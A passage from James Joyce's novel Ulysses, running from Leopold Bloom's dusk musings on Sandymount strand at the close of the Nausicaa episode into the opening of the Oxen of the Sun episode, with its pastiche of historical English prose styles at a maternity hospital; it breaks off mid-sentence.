JEMINA BROWN + AND SHE LIVED WITH HER MOTHER IN IRISHTOWN. + + +Place made me think of that I suppose. All tarred with the same brush. +Wiping pens in their stockings. But the ball rolled down to her as if it +understood. Every bullet has its billet. Course I never could throw +anything straight at school. Crooked as a ram's horn. Sad however because +it lasts only a few years till they settle down to potwalloping and papa's +pants will soon fit Willy and fuller's earth for the baby when they hold +him out to do ah ah. No soft job. Saves them. Keeps them out of harm's +way. Nature. Washing child, washing corpse. Dignam. Children's hands +always round them. Cocoanut skulls, monkeys, not even closed at first, +sour milk in their swaddles and tainted curds. Oughtn't to have given +that child an empty teat to suck. Fill it up with wind. Mrs Beaufoy, +Purefoy. Must call to the hospital. Wonder is nurse Callan there still. +She used to look over some nights when Molly was in the Coffee Palace. +That young doctor O'Hare I noticed her brushing his coat. And Mrs Breen +and Mrs Dignam once like that too, marriageable. Worst of all at night +Mrs Duggan told me in the City Arms. Husband rolling in drunk, stink of +pub off him like a polecat. Have that in your nose in the dark, +whiff of stale boose. Then ask in the morning: was I drunk last +night? Bad policy however to fault the husband. Chickens come +home to roost. They stick by one another like glue. Maybe the +women's fault also. That's where Molly can knock spots off them. It's the +blood of the south. Moorish. Also the form, the figure. Hands felt for the +opulent. Just compare for instance those others. Wife locked up at home, +skeleton in the cupboard. Allow me to introduce my. Then they trot you out +some kind of a nondescript, wouldn't know what to call her. Always see a +fellow's weak point in his wife. Still there's destiny in it, falling in +love. Have their own secrets between them. Chaps that would go to the dogs +if some woman didn't take them in hand. Then little chits of girls, +height of a shilling in coppers, with little hubbies. As God made them he +matched them. Sometimes children turn out well enough. Twice nought makes +one. Or old rich chap of seventy and blushing bride. Marry in May and +repent in December. This wet is very unpleasant. Stuck. Well the foreskin +is not back. Better detach. + +Ow! + +Other hand a sixfooter with a wifey up to his watchpocket. Long and +the short of it. Big he and little she. Very strange about my watch. +Wristwatches are always going wrong. Wonder is there any magnetic +influence between the person because that was about the time he. Yes, I +suppose, at once. Cat's away, the mice will play. I remember looking in +Pill lane. Also that now is magnetism. Back of everything magnetism. Earth +for instance pulling this and being pulled. That causes movement. And +time, well that's the time the movement takes. Then if one thing stopped +the whole ghesabo would stop bit by bit. Because it's all arranged. +Magnetic needle tells you what's going on in the sun, the stars. Little +piece of steel iron. When you hold out the fork. Come. Come. Tip. Woman +and man that is. Fork and steel. Molly, he. Dress up and look and suggest +and let you see and see more and defy you if you're a man to see that and, +like a sneeze coming, legs, look, look and if you have any guts in you. +Tip. Have to let fly. + +Wonder how is she feeling in that region. Shame all put on before +third person. More put out about a hole in her stocking. Molly, her +underjaw stuck out, head back, about the farmer in the ridingboots and +spurs at the horse show. And when the painters were in Lombard street +west. Fine voice that fellow had. How Giuglini began. Smell that I did. +Like flowers. It was too. Violets. Came from the turpentine probably in +the paint. Make their own use of everything. Same time doing it scraped +her slipper on the floor so they wouldn't hear. But lots of them can't +kick the beam, I think. Keep that thing up for hours. Kind of a general +all round over me and half down my back. + +Wait. Hm. Hm. Yes. That's her perfume. Why she waved her hand. I +leave you this to think of me when I'm far away on the pillow. What is it? +Heliotrope? No. Hyacinth? Hm. Roses, I think. She'd like scent of that +kind. Sweet and cheap: soon sour. Why Molly likes opoponax. Suits her, +with a little jessamine mixed. Her high notes and her low notes. At the +dance night she met him, dance of the hours. Heat brought it out. She was +wearing her black and it had the perfume of the time before. Good +conductor, is it? Or bad? Light too. Suppose there's some connection. For +instance if you go into a cellar where it's dark. Mysterious thing too. +Why did I smell it only now? Took its time in coming like herself, slow +but sure. Suppose it's ever so many millions of tiny grains blown across. +Yes, it is. Because those spice islands, Cinghalese this morning, smell +them leagues off. Tell you what it is. It's like a fine fine veil or web +they have all over the skin, fine like what do you call it gossamer, and +they're always spinning it out of them, fine as anything, like rainbow +colours without knowing it. Clings to everything she takes off. Vamp of +her stockings. Warm shoe. Stays. Drawers: little kick, taking them off. +Byby till next time. Also the cat likes to sniff in her shift on +the bed. Know her smell in a thousand. Bathwater too. Reminds me of +strawberries and cream. Wonder where it is really. There or the armpits +or under the neck. Because you get it out of all holes and corners. +Hyacinth perfume made of oil of ether or something. Muskrat. +Bag under their tails. One grain pour off odour for years. Dogs at +each other behind. Good evening. Evening. How do you sniff? Hm. Hm. +Very well, thank you. Animals go by that. Yes now, look at it that way. +We're the same. Some women, instance, warn you off when they have their +period. Come near. Then get a hogo you could hang your hat on. Like +what? Potted herrings gone stale or. Boof! Please keep off the grass. + +Perhaps they get a man smell off us. What though? Cigary gloves long +John had on his desk the other day. Breath? What you eat and drink gives +that. No. Mansmell, I mean. Must be connected with that because priests +that are supposed to be are different. Women buzz round it like flies +round treacle. Railed off the altar get on to it at any cost. The tree +of forbidden priest. O, father, will you? Let me be the first to. +That diffuses itself all through the body, permeates. Source of life. +And it's extremely curious the smell. Celery sauce. Let me. + +Mr Bloom inserted his nose. Hm. Into the. Hm. Opening of his +waistcoat. Almonds or. No. Lemons it is. Ah no, that's the soap. + +O by the by that lotion. I knew there was something on my mind. +Never went back and the soap not paid. Dislike carrying bottles like that +hag this morning. Hynes might have paid me that three shillings. I could +mention Meagher's just to remind him. Still if he works that paragraph. +Two and nine. Bad opinion of me he'll have. Call tomorrow. How much do +I owe you? Three and nine? Two and nine, sir. Ah. Might stop him giving +credit another time. Lose your customers that way. Pubs do. Fellows run up +a bill on the slate and then slinking around the back streets into +somewhere else. + +Here's this nobleman passed before. Blown in from the bay. Just went +as far as turn back. Always at home at dinnertime. Looks mangled out: had +a good tuck in. Enjoying nature now. Grace after meals. After supper walk +a mile. Sure he has a small bank balance somewhere, government sit. Walk +after him now make him awkward like those newsboys me today. Still you +learn something. See ourselves as others see us. So long as women don't +mock what matter? That's the way to find out. Ask yourself who is he now. +THE MYSTERY MAN ON THE BEACH, prize titbit story by Mr Leopold Bloom. +Payment at the rate of one guinea per column. And that fellow today at the +graveside in the brown macintosh. Corns on his kismet however. Healthy +perhaps absorb all the. Whistle brings rain they say. Must be some +somewhere. Salt in the Ormond damp. The body feels the atmosphere. Old +Betty's joints are on the rack. Mother Shipton's prophecy that is about +ships around they fly in the twinkling. No. Signs of rain it is. The royal +reader. And distant hills seem coming nigh. + +Howth. Bailey light. Two, four, six, eight, nine. See. Has to change or +they might think it a house. Wreckers. Grace Darling. People afraid of the +dark. Also glowworms, cyclists: lightingup time. Jewels diamonds flash +better. Women. Light is a kind of reassuring. Not going to hurt you. +Better now of course than long ago. Country roads. Run you through the +small guts for nothing. Still two types there are you bob against. +Scowl or smile. Pardon! Not at all. Best time to spray plants too in the +shade after the sun. Some light still. Red rays are longest. Roygbiv +Vance taught us: red, orange, yellow, green, blue, indigo, violet. +A star I see. Venus? Can't tell yet. Two. When three it's night. Were +those nightclouds there all the time? Looks like a phantom ship. No. +Wait. Trees are they? An optical illusion. Mirage. Land of the setting +sun this. Homerule sun setting in the southeast. My native land, +goodnight. + +Dew falling. Bad for you, dear, to sit on that stone. Brings on white +fluxions. Never have little baby then less he was big strong fight his way +up through. Might get piles myself. Sticks too like a summer cold, sore on +the mouth. Cut with grass or paper worst. Friction of the position. +Like to be that rock she sat on. O sweet little, you don't know how nice +you looked. I begin to like them at that age. Green apples. Grab at all +that offer. Suppose it's the only time we cross legs, seated. Also the +library today: those girl graduates. Happy chairs under them. But it's +the evening influence. They feel all that. Open like flowers, know +their hours, sunflowers, Jerusalem artichokes, in ballrooms, chandeliers, +avenues under the lamps. Nightstock in Mat Dillon's garden where I kissed +her shoulder. Wish I had a full length oilpainting of her then. June +that was too I wooed. The year returns. History repeats itself. +Ye crags and peaks I'm with you once again. Life, love, voyage round +your own little world. And now? Sad about her lame of course but must +be on your guard not to feel too much pity. They take advantage. + +All quiet on Howth now. The distant hills seem. Where we. The +rhododendrons. I am a fool perhaps. He gets the plums, and I the +plumstones. Where I come in. All that old hill has seen. Names change: +that's all. Lovers: yum yum. + +Tired I feel now. Will I get up? O wait. Drained all the manhood out +of me, little wretch. She kissed me. Never again. My youth. Only once it +comes. Or hers. Take the train there tomorrow. No. Returning not the +same. Like kids your second visit to a house. The new I want. Nothing new +under the sun. Care of P. O. Dolphin's Barn. Are you not happy in your? +Naughty darling. At Dolphin's barn charades in Luke Doyle's house. Mat +Dillon and his bevy of daughters: Tiny, Atty, Floey, Maimy, Louy, Hetty. +Molly too. Eightyseven that was. Year before we. And the old major, +partial to his drop of spirits. Curious she an only child, I an only +child. So it returns. Think you're escaping and run into yourself. Longest +way round is the shortest way home. And just when he and she. Circus horse +walking in a ring. Rip van Winkle we played. Rip: tear in Henny Doyle's +overcoat. Van: breadvan delivering. Winkle: cockles and periwinkles. Then +I did Rip van Winkle coming back. She leaned on the sideboard watching. +Moorish eyes. Twenty years asleep in Sleepy Hollow. All changed. +Forgotten. The young are old. His gun rusty from the dew. + +Ba. What is that flying about? Swallow? Bat probably. Thinks I'm a tree, +so blind. Have birds no smell? Metempsychosis. They believed you could be +changed into a tree from grief. Weeping willow. Ba. There he goes. +Funny little beggar. Wonder where he lives. Belfry up there. Very likely. +Hanging by his heels in the odour of sanctity. Bell scared him out, I +suppose. Mass seems to be over. Could hear them all at it. Pray for us. +And pray for us. And pray for us. Good idea the repetition. Same +thing with ads. Buy from us. And buy from us. Yes, there's the light +in the priest's house. Their frugal meal. Remember about the mistake +in the valuation when I was in Thom's. Twentyeight it is. Two houses +they have. Gabriel Conroy's brother is curate. Ba. Again. Wonder why +they come out at night like mice. They're a mixed breed. Birds are +like hopping mice. What frightens them, light or noise? Better sit still. +All instinct like the bird in drouth got water out of the end of a +jar by throwing in pebbles. Like a little man in a cloak he is with tiny +hands. Weeny bones. Almost see them shimmering, kind of a bluey white. +Colours depend on the light you see. Stare the sun for example +like the eagle then look at a shoe see a blotch blob yellowish. Wants to +stamp his trademark on everything. Instance, that cat this morning on the +staircase. Colour of brown turf. Say you never see them with three +colours. Not true. That half tabbywhite tortoiseshell in the CITY ARMS +with the letter em on her forehead. Body fifty different colours. Howth +a while ago amethyst. Glass flashing. That's how that wise man what's his +name with the burning glass. Then the heather goes on fire. It can't be +tourists' matches. What? Perhaps the sticks dry rub together in the wind +and light. Or broken bottles in the furze act as a burning glass in the +sun. Archimedes. I have it! My memory's not so bad. + +Ba. Who knows what they're always flying for. Insects? That bee last week +got into the room playing with his shadow on the ceiling. Might be the +one bit me, come back to see. Birds too. Never find out. Or what they say. +Like our small talk. And says she and says he. Nerve they have to fly over +the ocean and back. Lots must be killed in storms, telegraph wires. +Dreadful life sailors have too. Big brutes of oceangoing steamers +floundering along in the dark, lowing out like seacows. FAUGH A BALLAGH! +Out of that, bloody curse to you! Others in vessels, bit of a handkerchief +sail, pitched about like snuff at a wake when the stormy winds do blow. +Married too. Sometimes away for years at the ends of the earth somewhere. +No ends really because it's round. Wife in every port they say. She has a +good job if she minds it till Johnny comes marching home again. If ever he +does. Smelling the tail end of ports. How can they like the sea? Yet they +do. The anchor's weighed. Off he sails with a scapular or a medal +on him for luck. Well. And the tephilim no what's this they call it poor +papa's father had on his door to touch. That brought us out of the land +of Egypt and into the house of bondage. Something in all those +superstitions because when you go out never know what dangers. Hanging +on to a plank or astride of a beam for grim life, lifebelt round him, +gulping salt water, and that's the last of his nibs till the sharks +catch hold of him. Do fish ever get seasick? + +Then you have a beautiful calm without a cloud, smooth sea, placid, +crew and cargo in smithereens, Davy Jones' locker, moon looking down so +peaceful. Not my fault, old cockalorum. + +A last lonely candle wandered up the sky from Mirus bazaar in search +of funds for Mercer's hospital and broke, drooping, and shed a cluster of +violet but one white stars. They floated, fell: they faded. The shepherd's +hour: the hour of folding: hour of tryst. From house to house, giving his +everwelcome double knock, went the nine o'clock postman, the +glowworm's lamp at his belt gleaming here and there through the laurel +hedges. And among the five young trees a hoisted lintstock lit the lamp at +Leahy's terrace. By screens of lighted windows, by equal gardens a shrill +voice went crying, wailing: EVENING TELEGRAPH, STOP PRESS EDITION! RESULT +OF THE GOLD CUP RACE! and from the door of Dignam's house a boy ran out +and called. Twittering the bat flew here, flew there. Far out over the +sands the coming surf crept, grey. Howth settled for slumber, tired of +long days, of yumyum rhododendrons (he was old) and felt gladly the night +breeze lift, ruffle his fell of ferns. He lay but opened a red eye +unsleeping, deep and slowly breathing, slumberous but awake. And far on +Kish bank the anchored lightship twinkled, winked at Mr Bloom. + +Life those chaps out there must have, stuck in the same spot. Irish +Lights board. Penance for their sins. Coastguards too. Rocket and breeches +buoy and lifeboat. Day we went out for the pleasure cruise in the Erin's +King, throwing them the sack of old papers. Bears in the zoo. Filthy trip. +Drunkards out to shake up their livers. Puking overboard to feed the +herrings. Nausea. And the women, fear of God in their faces. Milly, +no sign of funk. Her blue scarf loose, laughing. Don't know what death +is at that age. And then their stomachs clean. But being lost they fear. +When we hid behind the tree at Crumlin. I didn't want to. Mamma! Mamma! +Babes in the wood. Frightening them with masks too. Throwing them up +in the air to catch them. I'll murder you. Is it only half fun? +Or children playing battle. Whole earnest. How can people aim guns at +each other. Sometimes they go off. Poor kids! Only troubles wildfire +and nettlerash. Calomel purge I got her for that. After getting better +asleep with Molly. Very same teeth she has. What do they love? +Another themselves? But the morning she chased her with the umbrella. +Perhaps so as not to hurt. I felt her pulse. Ticking. Little hand +it was: now big. Dearest Papli. All that the hand says when you +touch. Loved to count my waistcoat buttons. Her first stays I +remember. Made me laugh to see. Little paps to begin with. Left one +is more sensitive, I think. Mine too. Nearer the heart? Padding +themselves out if fat is in fashion. Her growing pains at night, calling, +wakening me. Frightened she was when her nature came on her first. +Poor child! Strange moment for the mother too. Brings back her girlhood. +Gibraltar. Looking from Buena Vista. O'Hara's tower. The seabirds +screaming. Old Barbary ape that gobbled all his family. Sundown, +gunfire for the men to cross the lines. Looking out over the sea she +told me. Evening like this, but clear, no clouds. I always thought I'd +marry a lord or a rich gentleman coming with a private yacht. BUENAS +NOCHES, SENORITA. EL HOMBRE AMA LA MUCHACHA HERMOSA. Why me? Because +you were so foreign from the others. + +Better not stick here all night like a limpet. This weather makes you +dull. Must be getting on for nine by the light. Go home. Too late for LEAH, +LILY OF KILLARNEY. No. Might be still up. Call to the hospital to see. +Hope she's over. Long day I've had. Martha, the bath, funeral, house of +Keyes, museum with those goddesses, Dedalus' song. Then that bawler in +Barney Kiernan's. Got my own back there. Drunken ranters what I said about +his God made him wince. Mistake to hit back. Or? No. Ought to go home and +laugh at themselves. Always want to be swilling in company. Afraid to be +alone like a child of two. Suppose he hit me. Look at it other way round. +Not so bad then. Perhaps not to hurt he meant. Three cheers for Israel. +Three cheers for the sister-in-law he hawked about, three fangs in her +mouth. Same style of beauty. Particularly nice old party for a cup of tea. +The sister of the wife of the wild man of Borneo has just come to town. +Imagine that in the early morning at close range. Everyone to his taste as +Morris said when he kissed the cow. But Dignam's put the boots on it. +Houses of mourning so depressing because you never know. Anyhow she +wants the money. Must call to those Scottish Widows as I promised. Strange +name. Takes it for granted we're going to pop off first. That widow +on Monday was it outside Cramer's that looked at me. Buried the poor +husband but progressing favourably on the premium. Her widow's mite. +Well? What do you expect her to do? Must wheedle her way along. +Widower I hate to see. Looks so forlorn. Poor man O'Connor wife and five +children poisoned by mussels here. The sewage. Hopeless. Some good +matronly woman in a porkpie hat to mother him. Take him in tow, platter +face and a large apron. Ladies' grey flannelette bloomers, three shillings +a pair, astonishing bargain. Plain and loved, loved for ever, they say. +Ugly: no woman thinks she is. Love, lie and be handsome for tomorrow we +die. See him sometimes walking about trying to find out who played the +trick. U. p: up. Fate that is. He, not me. Also a shop often noticed. +Curse seems to dog it. Dreamt last night? Wait. Something confused. She +had red slippers on. Turkish. Wore the breeches. Suppose she does? Would +I like her in pyjamas? Damned hard to answer. Nannetti's gone. Mailboat. +Near Holyhead by now. Must nail that ad of Keyes's. Work Hynes and +Crawford. Petticoats for Molly. She has something to put in them. What's +that? Might be money. + +Mr Bloom stooped and turned over a piece of paper on the strand. He +brought it near his eyes and peered. Letter? No. Can't read. Better go. +Better. I'm tired to move. Page of an old copybook. All those holes and +pebbles. Who could count them? Never know what you find. Bottle with +story of a treasure in it, thrown from a wreck. Parcels post. Children +always want to throw things in the sea. Trust? Bread cast on the waters. +What's this? Bit of stick. + +O! Exhausted that female has me. Not so young now. Will she come +here tomorrow? Wait for her somewhere for ever. Must come back. +Murderers do. Will I? + +Mr Bloom with his stick gently vexed the thick sand at his foot. Write +a message for her. Might remain. What? + +I. + +Some flatfoot tramp on it in the morning. Useless. Washed away. Tide comes +here. Saw a pool near her foot. Bend, see my face there, dark mirror, +breathe on it, stirs. All these rocks with lines and scars and letters. O, +those transparent! Besides they don't know. What is the meaning of that +other world. I called you naughty boy because I do not like. + +AM. A. + +No room. Let it go. + +Mr Bloom effaced the letters with his slow boot. Hopeless thing sand. +Nothing grows in it. All fades. No fear of big vessels coming up here. +Except Guinness's barges. Round the Kish in eighty days. Done half by +design. + +He flung his wooden pen away. The stick fell in silted sand, stuck. +Now if you were trying to do that for a week on end you couldn't. Chance. +We'll never meet again. But it was lovely. Goodbye, dear. Thanks. Made me +feel so young. + +Short snooze now if I had. Must be near nine. Liverpool boat long +gone.. Not even the smoke. And she can do the other. Did too. And Belfast. +I won't go. Race there, race back to Ennis. Let him. Just close my eyes a +moment. Won't sleep, though. Half dream. It never comes the same. Bat +again. No harm in him. Just a few. + +O sweety all your little girlwhite up I saw dirty bracegirdle made me +do love sticky we two naughty Grace darling she him half past the bed met +him pike hoses frillies for Raoul de perfume your wife black hair heave +under embon SENORITA young eyes Mulvey plump bubs me breadvan Winkle +red slippers she rusty sleep wander years of dreams return tail end +Agendath swoony lovey showed me her next year in drawers return next in +her next her next. + +A bat flew. Here. There. Here. Far in the grey a bell chimed. Mr +Bloom with open mouth, his left boot sanded sideways, leaned, breathed. +Just for a few + + + CUCKOO + CUCKOO + CUCKOO. + + +The clock on the mantelpiece in the priest's house cooed where Canon +O'Hanlon and Father Conroy and the reverend John Hughes S. J. were +taking tea and sodabread and butter and fried mutton chops with catsup +and talking about + + + CUCKOO + CUCKOO + CUCKOO. + + +Because it was a little canarybird that came out of its little house to +tell the time that Gerty MacDowell noticed the time she was there because +she was as quick as anything about a thing like that, was Gerty MacDowell, +and she noticed at once that that foreign gentleman that was sitting on +the rocks looking was + + + CUCKOO + CUCKOO + CUCKOO. + + + * * * * * * * + + +Deshil Holles Eamus. Deshil Holles Eamus. Deshil Holles Eamus. + +Send us bright one, light one, Horhorn, quickening and wombfruit. Send +us bright one, light one, Horhorn, quickening and wombfruit. Send us +bright one, light one, Horhorn, quickening and wombfruit. + +Hoopsa boyaboy hoopsa! Hoopsa boyaboy hoopsa! Hoopsa boyaboy hoopsa! + +Universally that person's acumen is esteemed very little perceptive +concerning whatsoever matters are being held as most profitably by mortals +with sapience endowed to be studied who is ignorant of that which the most +in doctrine erudite and certainly by reason of that in them high mind's +ornament deserving of veneration constantly maintain when by general +consent they affirm that other circumstances being equal by no exterior +splendour is the prosperity of a nation more efficaciously asserted than +by the measure of how far forward may have progressed the tribute of its +solicitude for that proliferent continuance which of evils the original if +it be absent when fortunately present constitutes the certain sign of +omnipotent nature's incorrupted benefaction. For who is there who anything +of some significance has apprehended but is conscious that that exterior +splendour may be the surface of a downwardtending lutulent reality or on +the contrary anyone so is there unilluminated as not to perceive that as +no nature's boon can contend against the bounty of increase so it behoves +every most just citizen to become the exhortator and admonisher of his +semblables and to tremble lest what had in the past been by the nation +excellently commenced might be in the future not with similar excellence +accomplished if an inverecund habit shall have gradually traduced the +honourable by ancestors transmitted customs to that thither of profundity +that that one was audacious excessively who would have the hardihood to +rise affirming that no more odious offence can for anyone be than to +oblivious neglect to consign that evangel simultaneously command and +promise which on all mortals with prophecy of abundance or with +diminution's menace that exalted of reiteratedly procreating function ever +irrevocably enjoined? + +It is not why therefore we shall wonder if, as the best historians relate, +among the Celts, who nothing that was not in its nature admirable admired, +the art of medicine shall have been highly honoured. Not to speak of +hostels, leperyards, sweating chambers, plaguegraves, their greatest +doctors, the O'Shiels, the O'Hickeys, the O'Lees, have sedulously set down +the divers methods by which the sick and the relapsed found again health +whether the malady had been the trembling withering or loose boyconnell +flux. Certainly in every public work which in it anything of gravity +contains preparation should be with importance commensurate and therefore +a plan was by them adopted (whether by having preconsidered or as the +maturation of experience it is difficult in being said which the +discrepant opinions of subsequent inquirers are not up to the present +congrued to render manifest) whereby maternity was so far from all +accident possibility removed that whatever care the patient in that +all hardest of woman hour chiefly required and not solely for the +copiously opulent but also for her who not being sufficiently moneyed +scarcely and often not even scarcely could subsist valiantly and for an +inconsiderable emolument was provided. + +To her nothing already then and thenceforward was anyway able to be +molestful for this chiefly felt all citizens except with proliferent +mothers prosperity at all not to can be and as they had received eternity +gods mortals generation to befit them her beholding, when the case was so +hoving itself, parturient in vehicle thereward carrying desire immense +among all one another was impelling on of her to be received into that +domicile. O thing of prudent nation not merely in being seen but also +even in being related worthy of being praised that they her by +anticipation went seeing mother, that she by them suddenly to be about to +be cherished had been begun she felt! + +Before born bliss babe had. Within womb won he worship. Whatever +in that one case done commodiously done was. A couch by midwives +attended with wholesome food reposeful, cleanest swaddles as though +forthbringing were now done and by wise foresight set: but to this no less +of what drugs there is need and surgical implements which are pertaining +to her case not omitting aspect of all very distracting spectacles in +various latitudes by our terrestrial orb offered together with images, +divine and human, the cogitation of which by sejunct females is to +tumescence conducive or eases issue in the high sunbright wellbuilt fair +home of mothers when, ostensibly far gone and reproductitive, it is come +by her thereto to lie in, her term up. + +Some man that wayfaring was stood by housedoor at night's +oncoming. Of Israel's folk was that man that on earth wandering far had +fared. Stark ruth of man his errand that him lone led till that house. + +Of that house A. Horne is lord. Seventy beds keeps he there teeming +mothers are wont that they lie for to thole and bring forth bairns hale so +God's angel to Mary quoth. Watchers tway there walk, white sisters in +ward sleepless. Smarts they still, sickness soothing: in twelve moons +thrice an hundred. Truest bedthanes they twain are, for Horne holding +wariest ward. + +In ward wary the watcher hearing come that man mildhearted eft +rising with swire ywimpled to him her gate wide undid. Lo, levin leaping +lightens in eyeblink Ireland's westward welkin. Full she drad that God the +Wreaker all mankind would fordo with water for his evil sins. Christ's +rood made she on breastbone and him drew that he would rathe infare under +her thatch. That man her will wotting worthful went in Horne's house. + +Loth to irk in Horne's hall hat holding the seeker stood. On her stow +he ere was living with dear wife and lovesome daughter that then over land +and seafloor nine years had long outwandered. Once her in townhithe +meeting he to her bow had not doffed. Her to forgive now he craved with +good ground of her allowed that that of him swiftseen face, hers, so young +then had looked. Light swift her eyes kindled, bloom of blushes his word +winning. + +As her eyes then ongot his weeds swart therefor sorrow she feared. +Glad after she was that ere adread was. Her he asked if O'Hare Doctor +tidings sent from far coast and she with grameful sigh him answered that +O'Hare Doctor in heaven was. Sad was the man that word to hear that him +so heavied in bowels ruthful. All she there told him, ruing death for +friend so young, algate sore unwilling God's rightwiseness to withsay. She +said that he had a fair sweet death through God His goodness with +masspriest to be shriven, holy housel and sick men's oil to his limbs. The +man then right earnest asked the nun of which death the dead man was died +and the nun answered him and said that he was died in Mona Island through +bellycrab three year agone come Childermas and she prayed to God the +Allruthful to have his dear soul in his undeathliness. He heard her sad +words, in held hat sad staring. So stood they there both awhile in wanhope +sorrowing one with other. + +Therefore, everyman, look to that last end that is thy death and the +dust that gripeth on every man that is born of woman for as he came naked +forth from his mother's womb so naked shall he wend him at the last for to +go as he came. + +The man that was come in to the house then spoke to the +nursingwoman and he asked her how it fared with the woman that lay there +in childbed. The nursingwoman answered him and said that that woman +was in throes now full three days and that it would be a hard birth unneth +to bear but that now in a little it would be. She said thereto that she +had seen many births of women but never was none so hard as was that +woman's birth. Then she set it all forth to him for because she knew the +man that time was had lived nigh that house. The man hearkened to her +words for he felt with wonder women's woe in the travail that they have of +motherhood and he wondered to look on her face that was a fair face for +any man to see but yet was she left after long years a handmaid. Nine +twelve bloodflows chiding her childless. + +And whiles they spake the door of the castle was opened and there +nighed them a mickle noise as of many that sat there at meat. And there +came against the place as they stood a young learningknight yclept Dixon. +And the traveller Leopold was couth to him sithen it had happed that they +had had ado each with other in the house of misericord where this +learningknight lay by cause the traveller Leopold came there to be healed +for he was sore wounded in his breast by a spear wherewith a horrible and +dreadful dragon was smitten him for which he did do make a salve of +volatile salt and chrism as much as he might suffice. And he said now that +he should go in to that castle for to make merry with them that were +there. And the traveller Leopold said that he should go otherwhither for +he was a man of cautels and a subtile. Also the lady was of his avis and +repreved the learningknight though she trowed well that the traveller had +said thing that was false for his subtility. But the learningknight would +not hear say nay nor do her mandement ne have him in aught contrarious to +his list and he said how it was a marvellous castle. And the traveller +Leopold went into the castle for to rest him for a space being sore of +limb after many marches environing in divers lands and sometime venery. + +And in the castle was set a board that was of the birchwood of +Finlandy and it was upheld by four dwarfmen of that country but they +durst not move more for enchantment. And on this board were frightful +swords and knives that are made in a great cavern by swinking demons out +of white flames that they fix then in the horns of buffalos and stags that +there abound marvellously. And there were vessels that are wrought by +magic of Mahound out of seasand and the air by a warlock with his breath +that he blases in to them like to bubbles. And full fair cheer and rich +was on the board that no wight could devise a fuller ne richer. And there +was a vat of silver that was moved by craft to open in the which lay +strange fishes withouten heads though misbelieving men nie that this +be possible thing without they see it natheless they are so. And these +fishes lie in an oily water brought there from Portugal land because +of the fatness that therein is like to the juices of the olivepress. +And also it was a marvel to see in that castle how by magic they make +a compost out of fecund wheatkidneys out of Chaldee that by aid of +certain angry spirits that they do in to it swells up wondrously like +to a vast mountain. And they teach the serpents there to entwine +themselves up on long sticks out of the ground and of the scales of +these serpents they brew out a brewage like to mead. + +And the learning knight let pour for childe Leopold a draught and halp +thereto the while all they that were there drank every each. And childe +Leopold did up his beaver for to pleasure him and took apertly somewhat in +amity for he never drank no manner of mead which he then put by and +anon full privily he voided the more part in his neighbour glass and his +neighbour nist not of this wile. And he sat down in that castle with them +for to rest him there awhile. Thanked be Almighty God. + +This meanwhile this good sister stood by the door and begged them at +the reverence of Jesu our alther liege Lord to leave their wassailing for +there was above one quick with child, a gentle dame, whose time hied fast. +Sir Leopold heard on the upfloor cry on high and he wondered what cry that +it was whether of child or woman and I marvel, said he, that it be not +come or now. Meseems it dureth overlong. And he was ware and saw a +franklin that hight Lenehan on that side the table that was older than any +of the tother and for that they both were knights virtuous in the one +emprise and eke by cause that he was elder he spoke to him full gently. +But, said he, or it be long too she will bring forth by God His bounty and +have joy of her childing for she hath waited marvellous long. And the +franklin that had drunken said, Expecting each moment to be her next. +Also he took the cup that stood tofore him for him needed never none +asking nor desiring of him to drink and, Now drink, said he, fully +delectably, and he quaffed as far as he might to their both's health +for he was a passing good man of his lustiness. And sir Leopold +that was the goodliest guest that ever sat in scholars' hall and +that was the meekest man and the kindest that ever laid husbandly +hand under hen and that was the very truest knight of the world +one that ever did minion service to lady gentle pledged him courtly in +the cup. Woman's woe with wonder pondering. + +Now let us speak of that fellowship that was there to the intent to be +drunken an they might. There was a sort of scholars along either side the +board, that is to wit, Dixon yclept junior of saint Mary Merciable's with +other his fellows Lynch and Madden, scholars of medicine, and the franklin +that hight Lenehan and one from Alba Longa, one Crotthers, and young +Stephen that had mien of a frere that was at head of the board and +Costello that men clepen Punch Costello all long of a mastery of him +erewhile gested (and of all them, reserved young Stephen, he was the most +drunken that demanded still of more mead) and beside the meek sir +Leopold. But on young Malachi they waited for that he promised to +have come and such as intended to no goodness said how he had broke +his avow. And sir Leopold sat with them for he bore fast friendship +to sir Simon and to this his son young Stephen and for that his languor +becalmed him there after longest wanderings insomuch as they feasted +him for that time in the honourablest manner. Ruth red him, love led +on with will to wander, loth to leave. + +For they were right witty scholars. And he heard their aresouns each gen +other as touching birth and righteousness, young Madden maintaining that +put such case it were hard the wife to die (for so it had fallen out a +matter of some year agone with a woman of Eblana in Horne's house that +now was trespassed out of this world and the self night next before her +death all leeches and pothecaries had taken counsel of her case). And +they said farther she should live because in the beginning, they said, +the woman should bring forth in pain and wherefore they that were of this +imagination affirmed how young Madden had said truth for he had +conscience to let her die. And not few and of these was young Lynch were +in doubt that the world was now right evil governed as it was never other +howbeit the mean people believed it otherwise but the law nor his judges +did provide no remedy. A redress God grant. This was scant said but all +cried with one acclaim nay, by our Virgin Mother, the wife should live +and the babe to die. In colour whereof they waxed hot upon that head what +with argument and what for their drinking but the franklin Lenehan was +prompt each when to pour them ale so that at the least way mirth might +not lack. Then young Madden showed all the whole affair and said how that +she was dead and how for holy religion sake by rede of palmer and +bedesman and for a vow he had made to Saint Ultan of Arbraccan her +goodman husband would not let her death whereby they were all wondrous +grieved. To whom young Stephen had these words following: Murmur, sirs, +is eke oft among lay folk. Both babe and parent now glorify their Maker, +the one in limbo gloom, the other in purgefire. But, gramercy, what of +those Godpossibled souls that we nightly impossibilise, which is the sin +against the Holy Ghost, Very God, Lord and Giver of Life? For, sirs, he +said, our lust is brief. We are means to those small creatures within us +and nature has other ends than we. Then said Dixon junior to Punch +Costello wist he what ends. But he had overmuch drunken and the best word +he could have of him was that he would ever dishonest a woman whoso she +were or wife or maid or leman if it so fortuned him to be delivered of +his spleen of lustihead. Whereat Crotthers of Alba Longa sang young +Malachi's praise of that beast the unicorn how once in the millennium he +cometh by his horn, the other all this while, pricked forward with their +jibes wherewith they did malice him, witnessing all and several by saint +Foutinus his engines that he was able to do any manner of thing that lay +in man to do. Thereat laughed they all right jocundly only young Stephen +and sir Leopold which never durst laugh too open by reason of a strange +humour which he would not bewray and also for that he rued for her that +bare whoso she might be or wheresoever. Then spake young Stephen orgulous +of mother Church that would cast him out of her bosom, of law of canons, +of Lilith, patron of abortions, of bigness wrought by wind of seeds of +brightness or by potency of vampires mouth to mouth or, as Virgilius +saith, by the influence of the occident or by the reek of moonflower or +an she lie with a woman which her man has but lain with, EFFECTU SECUTO, +or peradventure in her bath according to the opinions of Averroes and +Moses Maimonides. He said also how at the end of the second month a human +soul was infused and how in all our 